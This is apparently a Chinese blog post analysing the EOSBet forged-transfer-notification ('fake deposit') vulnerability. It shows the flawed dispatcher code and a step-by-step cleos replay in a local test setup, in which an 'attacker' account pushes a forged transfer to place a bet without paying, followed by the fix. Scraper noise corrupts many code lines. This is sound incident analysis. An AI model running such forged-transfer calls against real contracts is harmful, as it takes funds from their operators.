EOS dApp 漏洞盘点分析—EOSBet 假充值漏洞一
蓝天天使2017
发表于 2022-12-27 17:33:36
113
0
0
文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis
0x00 背景8 e. B2 D6 j5 J; H6 W: }) ~( K
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。2 x3 p: I+ X5 X
0x01 技术分析! K; Y/ _, @ H1 n7 p8 D
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers# y: F8 N$ P! Y% r
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \' J8 G) `8 l/ h) _
auto self = receiver; \' g) P& m% D+ s, k6 G. }6 I0 {; P
if( action == N(onerror)) { \$ I6 v1 i4 j& ^# ?0 T! m5 U( c
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
} \5 T# R0 A: T! f+ p
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \, F K. K4 E* d; l* n% k, k1 l
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \) [. J, u: V2 V
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \% s& g0 A) d1 z4 l8 b
} \
} \
}
通过官方给出的EOSIO_ABI,问题主要出在以下代码
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \! f1 u$ Q' Z7 v: z4 R. v
TYPE thiscontract( self ); \
switch( action ) { \8 C' h2 ]+ c2 t- l6 y9 Y5 Q1 e. }
EOSIO_API( TYPE, MEMBERS ) \/ U; ~; t+ n; E: c
} \: U, X) ?4 J8 p e; S. ]
}8 Z7 v8 K7 o* ?! ?) o" f; R" @
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。+ `4 k* L0 M; [2 v- i
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。' t; W$ A/ s7 E/ X! `
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。" N, b8 y2 R, ]4 E
0x02 攻击复盘
创建eosio.token账户
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
部署eosio.token合约并初始化# d4 P% Q1 Y, m% s$ Y* O! t+ q
# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio; h6 ^0 F5 Q M/ |
# 初始化合约; w& \1 O3 p( j! Q w
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
创建游戏账户、开奖账户和攻击者账户
#创建游戏账户和开奖账户
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk( ]1 P. J3 C$ _9 `
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
设置账户随机权限和开奖权限
#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner" o8 M; i; ]: I" D* O4 n5 S( x5 D
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner8 |& E! t9 |; ]
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random6 k/ w) }9 }/ M( S V; l7 A
向相关账户冲入代币
#往相关账户充值
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active: o: y2 j. T& R. Q. h3 O
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active) S4 `: m, q6 a- p, a- P' K
![4.png]()" ^9 X- E/ k" g7 T, B
部署游戏合约并初始化
#部署游戏合约9 l$ ~/ {5 r7 K0 k# y+ P: _6 e4 [* ~
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice4 I1 X9 u) L5 D0 B7 u. m, C
#初始化游戏合约: g9 Z7 B* O0 z5 A1 M
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
模拟黑客攻击(伪造转账通知)$ u1 ]# M* _( G! m2 R
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
查询游戏订单
cleos get table eosbetdice11 eosbetdice11 activebets
可见,游戏订单已经生成,查询attacker和eosbetdice11账户4 P' r: x. i- X( g D; g5 P
2 a/ h, e/ B& B
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。( D+ D3 m6 D( M2 h! }1 S
最后对该订单进行开奖。
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
/ M+ d. f) O4 D
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。) H( l# B# r/ W9 q( I; [4 G
0x03 后记" h9 N2 L* X9 \: r4 `
EOSBet随后将修复方案公开
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \( Q' \7 \4 s6 X" K
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \* G Q- Z9 ~3 c' w4 ~$ j
// 必须是eosio.token来调用合约自身的transfer函数% [/ y$ E4 R3 f' T1 Z
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \) |/ O0 a$ v" z/ N
} \/ i! V, Z6 d" R g5 L: V* [
TYPE thiscontract( self ); \
switch( action ) { \/ u, N8 |$ C. B/ W5 g
EOSIO_API( TYPE, MEMBERS ) \
} \* Z/ N2 D! Z2 ?) k, e
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \1 w& |- W1 z/ l+ x( m) ]- w
} \
} \9 m$ @7 ^; a m( A
}9 j' F. P' J5 H* \4 J
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
0x04 修复方案0 d( ]. ]# ^; U8 K W S( U
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
& A2 j, P8 [ ]
通知是否来自eosio.token,即只处理eosio.token发送的通知
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");
0 R3 G- N% G7 `9 `! p* N. p: g' W
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
成为第一个吐槽的人